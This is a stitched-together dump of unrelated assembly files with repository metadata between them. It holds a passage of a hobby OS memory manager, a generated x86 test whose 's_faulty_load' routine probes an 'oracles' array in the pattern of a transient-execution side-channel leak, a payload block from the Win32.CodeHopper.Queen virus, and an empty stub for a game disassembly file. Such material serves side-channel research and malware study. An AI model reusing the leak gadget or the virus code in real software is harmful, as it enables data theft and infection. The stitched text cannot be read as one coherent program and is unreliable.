table .allocate_umm_table: ;------------------------- ; We do a little magic here, we use a ; redirector to deal with the recursive ; memory allocation. ; ; Jump to non/ recursive handler ;------------------------------- mov esi, recursive_alloc ; set pointer to jump indicator jmp [esi] ; jump to it ; ; Allocate memory for extra umm table .non_recursive: ;------------------------------------ push eax ; backup base address push ecx ; backup block size mov dword [esi], .recursive ; set jump point to recursive mov ecx, umm_table_size ; size of memory block requested call mem.alloc ; allocate memory mov dword [esi], .non_recursive ; ; ;-------------------------------------- ; Here's a little bit of clarification, at this point, we have: ; eax = memory block size requested (umm_table_size) ; ecx = block size allocated, most likely = eax ; edx = null_lnode/bnode/tnode ; ebx = null_lnode/bnode/tnode ; esi = recursive_alloc ; edi = allocated memory block ; ebp = unknown ; ; We still got the following left to do: ; - link newly allocated umm table ; - format the umm table entries and link them up ; - allocate one umm entry ; - return with the allocated umm entry to the start of this routine ;-------------------------------------- ; Link UMM table ;--------------- mov eax, [root.umm_table] ; current root.umm_table head table mov [edi + lnode.previous], edx ; mark new node as root node mov [edi + lnode.next], eax ; set original head as next node mov [eax + lnode.previous], edi ; link back original head to our table mov [edx + lnode.previous], edx ; in case original head was null ; ; Format UMM table and entries ;----------------------------- mov ecx, umm_entries_per_table - 1 ; set number of entries to process mov ebx, umm_size ; number of bytes per entry add edi, byte umm_table.entries ; compute pointer to first entry mov eax, edx ; set starting previous node as null mov [root.umm_free], edi ; set root pointer to first entry ; .linking_umm_entries: ; lea esi, [edi + ebx] ; compute pointer to next entry mov [edi + lnode.previous], eax ; set pointer to previous entry mov [edi + lnode.next], esi ; set pointer to next entry dec ecx ; decrement entry count mov eax, edi ; move previous pointer to current node mov edi, esi ; move current node to next node jnz short .linking_umm_entries ; if any entry left, link them ; mov [eax + lnode.next], edx ; terminate linked list with null mov ebx, edi ; select last unlinked entry pop ecx ; restore block size pop eax ; restore base address jmp near .umm_entry_allocated ; ;;----------------------------------------------------------------------------- ;; _________________________ ;;< mem.alloc_20bit_address > ;; ------------------------- ;; o ^__^ ;; o (oo)\_______ ;; (__)\ )\/\ ;; ||----w | ;; || || ;;----------------------------------------------------------------------------- globalfunc mem.alloc_20bit_address ;> ;; This function allows allocation based on the same restriction as mem.alloc ;; but also add a restriction: ;; ;; * allocated memory must be in a 20bit addressing range ;; ;; This extra restriction garantee that memory blocks allocated with this ;; function will be located in the realmode addressing range, which can also ;; be used as DMA transfer buffers ;; ;; parameters: ;;------------ ;; ecx amount of memory requested ;; ;; returns: ;;--------- ;; cf = 0, successful ;; eax = original amount of memory requested ;; ecx = size of memory block allocated ;; edi = pointer to memory block allocated ;; ;; cf = 1, failed ;; eax = error code ;< ;;----------------------------------------------------------------------------- %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE3 ; Enable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; mov eax, ecx ; set to original value requested pushad ; backup all registers ; ; 64 bytes align requested size ;------------------------------ add ecx, byte 0x3F ; +63 to size requested and ecx, byte -0x40 ; mask lowest 6 bits of size requested mov eax, __ERROR_INVALID_PARAMETERS__ ; set error code jz near mem.alloc.return_with_error ; if result is 0, return with error ; mov [esp + 24], ecx ; ; Search fmm for a matching node ;------------------------------- mov edi, root.fmmsl ; set super root pointer jmp near mem.alloc.start_sized_node_search ;;----------------------------------------------------------------------------- ;; _____________ ;;< mem.dealloc > ;; ------------- ;; o ^__^ ;; o (oo)\_______ ;; (__)\ )\/\ ;; ||----w | ;; || || ;;----------------------------------------------------------------------------- globalfunc mem.dealloc clc retn ;> ;; This function allows one to deallocate a block of memory allocated with ;; any of the following functions: ;; ;; * mem.alloc ;; * mem.alloc_20bit_address ;; * mem.alloc_forced_range ;; * mem.alloc_swappable ;; ;; The block of memory freed using this function will become available in the ;; memry manager database of available memory blocks. ;; ;; parameters: ;;------------ ;; eax = base address of memory block to free ;; ;; returns: ;;--------- ;; errors and registers as usual ;< ;;----------------------------------------------------------------------------- %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE3 ; Enable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; pushad ; backup all registers ; ; Search entry in UMM ;-------------------- mov edi, root.umm ; set super root pointer mov edx, null_lnode ; set null node pointer mov esi, [edi] ; load root node ; .browse_nodes: ; cmp esi, edx ; is the node null? jz short .node_not_found ; yes, block couldn't be found ; cmp eax, [esi + umm.base_address] ; compare base addresses jz short .node_found ; match identified! ; sbb ebp, ebp ; compute offset to next node mov esi, [ebp*4 + esi + 4] ; load pointer to next node jmp short .browse_nodes ; go process it ; ; Block indicated couldn't be found .node_not_found: ;---------------------------------- popad ; restore all registers stc ; set error flag mov eax, __ERROR_INVALID_PARAMETERS__ ; set error code retn ; return to caller ; ; Node located .node_found: ;------------- push eax ; backup base address mov eax, [esi + bnode.low] ; get lower node pointer mov ebx, [esi + bnode.high] ; get higher node pointer cmp eax, edx ; is there a low node? mov ebp, [esi + bnode.parent] ; get parent node pointer jz short .no_low_bnode ; no low node, proceed to quick unlink ; cmp ebx, edx ; is there a high node? jz short .no_high_bnode ; no high node, proceed to quick unlink ; ; Unlink when both high and low present ;-------------------------------------- push eax ; backup low node base address .complex_search: ; mov edi, eax ; remember current node address mov eax, [eax + bnode.high] ; load next node cmp eax, edx ; is this new node null? jnz short .complex_search ; no, continue searching null node ; add edi, byte bnode.high ; compute offset to link point pop eax ; restore low node base address mov [edi], ebx ; link high node to highest low child mov [ebx + bnode.parent], edi ; set parent back to highest low child ; mov [ebp], eax ; set ptr in orig parent to low node mov [eax + bnode.parent], ebp ; set ptr back to parent ; jmp short .common_unlink ; common unlink tasks ; ; Quick unlink for low node .no_high_bnode: ;-------------------------- mov [eax + bnode.parent], ebp ; set low node parent's mov [ebp], eax ; set parent to point to low node mov [edx + bnode.parent], edx ; clean back null node in case low node ; was null jmp short .common_unlink ; common unlink tasks ; ; Quick unlink for high node .no_low_bnode: ;--------------------------- mov [ebx + bnode.parent], ebp ; set high node parent's mov [ebp], ebx ; set parent to point to high node mov [edx + bnode.parent], edx ; ; ; Deallocate memory (mark as free) .common_unlink: ;--------------------------------- pop eax ; restore original base address mov ecx, [esi + umm.size] ; acquire block size sub [mem.used_ram], ecx ; update memory statistics call mem.dealloc_forced_range ; deallocate associated memory ; ; Return to caller ;----------------- popad ; restore all registers clc ; set error flag retn ; return to caller ;;----------------------------------------------------------------------------- ;; __________________________ ;;< mem.dealloc_forced_range > ;; -------------------------- ;; o ^__^ ;; o (oo)\_______ ;; (__)\ )\/\ ;; ||----w | ;; || || ;;----------------------------------------------------------------------------- globalfunc mem.dealloc_forced_range ;> ;; This function is used mostly by the memory manager initializer. It is used ;; to mark (as yet unmanaged physical memory) as available. The block of ;; memory thus marked will then be available for the various memory allocation ;; functions to use. ;; ;; Both parameters and returned values are identical to function ;; mem.alloc_forced_range ;; ;; Warning: ;; ;; calling this function with a block of memory already marked as free might ;; make any/all other memory block(s) unavailable until a hard reset ;; ;; parameters: ;;------------ ;; eax base address of memory block to free ;; ecx size of the block to free ;; ;; returned values: ;;----------------- ;; errors and registers as usual ;< ;------------------------------------------------------------------------------ add [mem.free_ram], ecx ; update memory stats %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE3 ; Enable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; pushad ; backup all registers ; ; 64-bytes align base address ;---------------------------- mov edx, 0xFFFFFFC0 ; mask for all but lowest 6 bits lea ebx, [byte eax + 63] ; add 63 to base address and ebx, edx ; mask off the lowest 6 bits sub ebx, eax ; compute any difference sub ecx, ebx ; re-adjust block size for difference jbe short .zero_size_block ; make sure we don't get negative size ; ; 64-bytes align block size and ecx, edx ;-------------------------- mov edi, root.fmm ; set super root pointer mov edx, null_bnode ; set our null pointer jz short .zero_size_block ; if final size is 0, discard block ; ; Initialize FMM node ;-------------------- mov [eax + bnode.low], edx ; set lower pointer as null mov [eax + bnode.high], edx ; set higher pointer as null ; ; Link node in FMM binary-tree ;----------------------------- mov esi, [edi] ; load root node pointer mov ebx, edi ; ; .browse_bnodes: ; cmp esi, edx ; check if it is null jz short .b_link_point_identified ; if end of chain found, go and link ; ; Browse tree to find place to link ;------------------------------------ cmp eax, esi ; compare base addresses jz short .node_already_present ; node already in the tree ; sbb ebp, ebp ; compute offset to higher/lower ptr lea edi, [ebp*4 + esi + 4] ; get pointer to higher/lower node ptr mov esi, [edi] ; load higher/lower node pointer jmp short .browse_bnodes ; continue to browse ; ; Zero sized or already present block .zero_size_block: ;------------------------------------ .node_already_present: ; popad ; restore all registers mov eax, __ERROR_INVALID_PARAMETERS__ ; error code stc ; set error flag ; %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE2 ; Disable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; retn ; return to caller ; ; Link node .b_link_point_identified: ;---------- mov [edi], eax ; link node to parent mov [eax + bnode.parent], edi ; set parent pointer ; ; Initialize FMM-Size node ;------------------------- add eax, bnode_size ; compute address to tnode struc .t_link_node: ; mov edi, root.fmms ; set super root pointer cmp eax, 1 MB ; check if we have the right super root mov [eax + tnode.low], edx ; set lower pointer as null sbb ebp, ebp ; compute super root adjustment mov [eax + tnode.high], edx ; set higher pointer as null mov [eax + tnode.equal], edx ; set equal pointer as null lea edi, [ebp*4 + edi] ; calculate final super root pointer mov [eax + tnode_size], ecx ; set block size ; ; Link node in FMM-Size tinary-tree ;---------------------------------- ; mov esi, [edi] ; load root node pointer mov ebx, edi ; backup pointer to super root ; .browse_tnodes: ; cmp esi, edx ; check if node is null jz short .t_link_point_identified ; if end of chain found, go and link ; ; Browse tree to find place to link ;---------------------------------- cmp ecx, [esi + tnode_size] ; compare block sizes jz short .equal_size_node ; ; sbb ebp, ebp ; compute offset to bigger/smaller ptr lea edi, [ebp*4 + esi + 4] ; get pointer to bigger/smaller node ptr mov esi, [edi] ; load bigger/smaller node pointer jmp short .browse_tnodes ; continue to browse ; ; Equal block size .equal_size_node: ;----------------- lea edi, [esi + tnode.equal] ; get pointer to equal node pointer mov ebx, [edi] ; get current equal node pointer mov [eax + tnode.parent], edi ; set parent pointer in new node mov [edi], eax ; set equal node pointer to new node add eax, byte tnode.equal ; get pointer to new equal node pointer mov [edx + tnode.equal], edx ; restore destroyed equal node mov [eax], ebx ; set original current equal node ptr mov [ebx + tnode.parent], eax ; set back pointer to new node mov [edx + tnode.parent], edx ; restore destroyed parent ; ; Linking successful, return ;--------------------------- popad ; restore all registers ; %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE2 ; Disable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; clc ; clear error flag retn ; return to caller ; ; Link node .t_link_point_identified: ;---------- mov [edi], eax ; make parent pointer point to new node mov [eax + tnode.parent], edi ; point back to parent node ; ; Link successful, return ;------------------------ popad ; restore all registers ; %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE2 ; Disable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; clc ; clear error flag retn ; return to caller ;------------------------------------------------------------------------------ globalfunc mem.realloc ;--------------------- ;> ;; Resizes a block of memory. ;; ;; Important note: ;; ;; If the block of memory cannot be simply resized, another block of memory ;; of the requested size will be allocated, the data within the block moved ;; and the original block of memory will be freed. ;; ;; If any pointer needs to be recalculated within the moved data block, it ;; is the responsability of the caller to modify them accordingly. ;; ;; parameters: ;; ----------- ;; EAX = base address of block to resize ;; ECX = new size ;; ;; returned values: ;; ---------------- ;; EAX = size of block requested (ecx from call) ;; ECX = actuall size of memory allocated ;; EDI = new memory location ;; registers and errors as usual ;< ;------------------------------------------------------------------------------ push esi ; backup non-destroyed esi push ecx ; backup requested block size push eax ; backup original memory location ; ; Allocate new memory block ;-------------------------- push eax ; original mem location for move call mem.alloc ; allocate new memory block jc .error ; in case of any error pop esi ; get original mem location push ecx ; backup allocated new block size push edi ; backup new mem block location ; ; Move data from original to new block ;------------------------------------- shr ecx, 2 ; moving one dword at a time rep movsd ; move the data ; ; Prepare some returned values ;----------------------------- pop edi ; restore new block location pop ecx ; restore allocated block size pop eax ; restore original location ; ; Deallocate original memory block ;--------------------------------- call mem.dealloc ; deallocate it ; ; Finish preparing return values ;------------------------------- pop eax ; restore requested block size pop esi ; restore non-destroyed esi ; ; Return to caller ;----------------- retn ; return! ; ; Could not allocate new mem block ;--------------------------------- .error: ; add esp, byte 12 ; pop esi ; mov eax, __ERROR_INSUFFICIENT_MEMORY__; set error code stc ; set error flag retn ; return to caller ;------------------------------------------------------------------------------ section .data root: ;---- .fmm: ;;----------------------------------------------------------------------------- ;; Root of the Free Memory Map (binary-tree), sorted by base address ;;----------------------------------------------------------------------------- ;; dd null_bnode ;------ .fmmsl: ;;----------------------------------------------------------------------------- ;; Root of the Free Memory Map (trinary-tree), sorted by block size below 1MB ;; ;; Note: it is of major importance that fmmsl only takes a dword, and that the ;; next dword defined be the root.fmms ;;----------------------------------------------------------------------------- dd null_tnode ;----- .fmms: ;;----------------------------------------------------------------------------- ;; Root of the Free Memory Map (trinary-tree), sorted by block size, above 1MB ;; ;; Note: it is of major importance that fmms is located exactly 1 dword away ;; after root.fmmsl ;;----------------------------------------------------------------------------- dd null_tnode ;---- .umm: ;;----------------------------------------------------------------------------- ;; Root of the Used Memory Map (binary-tree), sorted by base address ;; ;; Note: it is of major importance that .umm only takes a dword, and that the ;; next dword defined be the root.umm_free ;;----------------------------------------------------------------------------- dd null_bnode ;--------- .umm_free: ;;----------------------------------------------------------------------------- ;; Root of Linked List of free UMM entries ;; ;; Note: it is of major importance that .umm_free is located exactly 1 dword ;; away after root.umm ;;----------------------------------------------------------------------------- dd null_lnode ;---------- .umm_table: ;;----------------------------------------------------------------------------- ;; Root of Linked List of allocated Table of UMM entries ;;----------------------------------------------------------------------------- dd null_lnode ;--------------- recursive_alloc: ;;----------------------------------------------------------------------------- ;; Redirector used in mem.alloc_forced_area when allocating umm tables ;;----------------------------------------------------------------------------- dd mem.alloc_forced_range.non_recursive ;---------- null_tnode: null_bnode: null_lnode: ;;----------------------------------------------------------------------------- ;; We allow ourself to use the null_tnode struc to hold the bnode and lnode ;; too since they can all fit perfectly within tnode ;;----------------------------------------------------------------------------- istruc tnode at tnode.low, dd null_tnode at tnode.high, dd null_tnode at tnode.equal, dd null_tnode at tnode.parent, dd null_tnode iend ; ------------------------------------------ ; Globally available memory usage statistics ; ------------------------------------------ ; globalfunc mem.free_ram ;> ;; 32bits (dword) variable, directly accessible, indicating how many bytes of ;; free physical memory are still available. ;; ;; Use as read-only. Writing over this variable might have unpredictable ;; effects. ;< dd 0 globalfunc mem.used_ram ;> ;; 32bits (dword) variable, directly accessible, indicating the number of ;; blocks the mem.used_ram is split up into. This could be used together with ;; mem.used_ram to compute the average requested memory block size. ;; ;; Use as read-only. Writing over this variable might have unpredictable ;; effects. ;< dd 0 ; note: lets make both variable point to the same location since they are ; and will stay 0 ; globalfunc mem.used_swap ;> ;; 32bits (dword) variable, directly accessible, indicating how many bytes of ;; the secondary storage medium is currently used to hold swapped memory. ;; ;; Use as read-only. Writing over this variable might have unpredictable ;; effects. ;< globalfunc mem.free_swap ;> ;; 32bits (dword) variable, directly accessible, indicating how many bytes of ;; free secondary storage are still available. ;; ;; Use as read-only. Writing over this variable might have unpredictable ;; effects. ;< dd 0
32.092233
104
0.579424
7b9862f4609b77ce85abe005e073a00857ccd849
8,578
asm
Assembly
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_2697.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_2697.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_2697.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x1e1ce, %r9 nop xor $56951, %rcx mov (%r9), %r12d nop add %r12, %r12 lea addresses_A_ht+0x1065e, %rdi and $20843, %r8 movb (%rdi), %r9b nop nop nop nop nop sub $39205, %rdi lea addresses_WT_ht+0x1904a, %rdx nop nop nop xor %r9, %r9 mov $0x6162636465666768, %r12 movq %r12, (%rdx) nop nop nop nop nop dec %rdx lea addresses_UC_ht+0x10f7e, %rsi lea addresses_D_ht+0x7d3e, %rdi nop nop xor $42896, %rbp mov $58, %rcx rep movsb nop sub $33861, %r12 lea addresses_D_ht+0x1957e, %r12 nop nop nop nop xor %rdx, %rdx mov (%r12), %rdi sub $42649, %rdi lea addresses_normal_ht+0x637e, %rcx nop nop nop nop nop sub $62358, %rbp movb $0x61, (%rcx) nop nop nop nop and %rcx, %rcx lea addresses_D_ht+0x1c97e, %r9 nop nop nop nop inc %rsi mov (%r9), %r12d nop nop nop dec %rcx lea addresses_normal_ht+0xeb3e, %rdx nop nop nop nop nop sub $49699, %rdi movups (%rdx), %xmm3 vpextrq $1, %xmm3, %r8 nop nop add $39273, %r9 lea addresses_D_ht+0x1eb7e, %rcx sub %rdx, %rdx movl $0x61626364, (%rcx) dec %rcx lea addresses_D_ht+0xe37e, %rdx nop nop cmp %rbp, %rbp mov (%rdx), %rdi nop nop xor $59988, %rdi lea addresses_WT_ht+0x1a77e, %r12 nop add $41356, %rdx and $0xffffffffffffffc0, %r12 movntdqa (%r12), %xmm3 vpextrq $0, %xmm3, %r8 nop nop nop add $36012, %rcx lea addresses_A_ht+0x278e, %rsi lea addresses_UC_ht+0x1e97e, %rdi nop nop nop nop nop cmp %rdx, %rdx mov $81, %rcx rep movsl nop nop nop nop nop and $61543, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %rax push %rbx push %rcx push %rsi // Store lea addresses_RW+0x3e5d, %r12 add $6125, %rbx mov $0x5152535455565758, %rcx movq %rcx, (%r12) sub %rbx, %rbx // Store lea addresses_A+0x1937e, %r10 cmp %r15, %r15 mov $0x5152535455565758, %rax movq %rax, %xmm0 movaps %xmm0, (%r10) nop nop cmp %r12, %r12 // Store mov $0x215750000000b7e, %r10 nop nop nop nop xor $3958, %rsi movw $0x5152, (%r10) nop nop nop nop xor %rcx, %rcx // Load lea addresses_UC+0x12b7e, %r12 nop nop cmp %rsi, %rsi movb (%r12), %r15b nop nop nop nop cmp $33881, %rbx // Load lea addresses_RW+0x15a9e, %rbx clflush (%rbx) nop nop nop nop dec %r10 movb (%rbx), %r12b nop xor $7305, %r15 // Store lea addresses_D+0xb1a9, %rcx nop and %rbx, %rbx movl $0x51525354, (%rcx) nop nop inc %rbx // Store lea addresses_PSE+0x15b7e, %r15 nop cmp $63311, %rax movl $0x51525354, (%r15) nop nop nop nop nop sub %r15, %r15 // Faulty Load lea addresses_UC+0x12b7e, %rsi nop nop nop nop and %r10, %r10 movups (%rsi), %xmm6 vpextrq $0, %xmm6, %rcx lea oracles, %rsi and $0xff, %rcx shlq $12, %rcx mov (%rsi,%rcx,1), %rcx pop %rsi pop %rcx pop %rbx pop %rax pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 9, 'size': 16, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}} {'52': 4, '54': 21825} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
30.967509
2,999
0.649685
d0893d629cff08a9af3627781af2e60e0a5d3217
1,237
asm
Assembly
Win32/Win32.CodeHopper.Queen.b/payloadq.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
Win32/Win32.CodeHopper.Queen.b/payloadq.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
Win32/Win32.CodeHopper.Queen.b/payloadq.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
;On Entry ebp Points To BlockDescriptor Payload_BlockDescryptor: Payload_StrainKey DD 0 Payload_BlockSize DD Payload_BlockTerminator - Payload_BlockDescryptor Payload_CryptionArray_ DD Payload_CryptionArray-Payload_BlockDescryptor Payload_Cryptions DD 1 Payload_ImportArray_ DD Payload_ImportArray-Payload_BlockDescryptor Payload_EntryPoint: mov eax,[ebp+(Payload_ImportArray-Payload_BlockDescryptor)+8] push DWORD 0 ;MesageBox Style lea edx,[ebp+(Payload_TitleString-Payload_BlockDescryptor)] push edx ;MessageBox Title lea edx,[ebp+(Payload_ContentString-Payload_BlockDescryptor)] push edx ;MessageBox Text push DWORD 0 ;Handle Of Owner Window (none) call eax ;Call MessageBoxA RET Payload_CryptionArray: DD 0 DD 0 Payload_MessageBoxA DB "MessageBoxA",0 Payload_ImportArray: DD 1 ;Number Of Imports DD Payload_MessageBoxA-Payload_BlockDescryptor ;Address Of Name DD 0 ;Address Of Function Payload_TitleString DB "CodeHopper.Queen",0 Payload_ContentString DB "File Infected",0xA,"CodeHopper Virus",0xA,"(AKA Lisa Bulz Virus)",0 Payload_BlockTerminator:
32.552632
94
0.726758
0992f0bca0f296a61d972da2d9cfad1a0085d28d
3,596
asm
Assembly
engine/rtc/reset_password.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
engine/rtc/reset_password.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
engine/rtc/reset_password.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
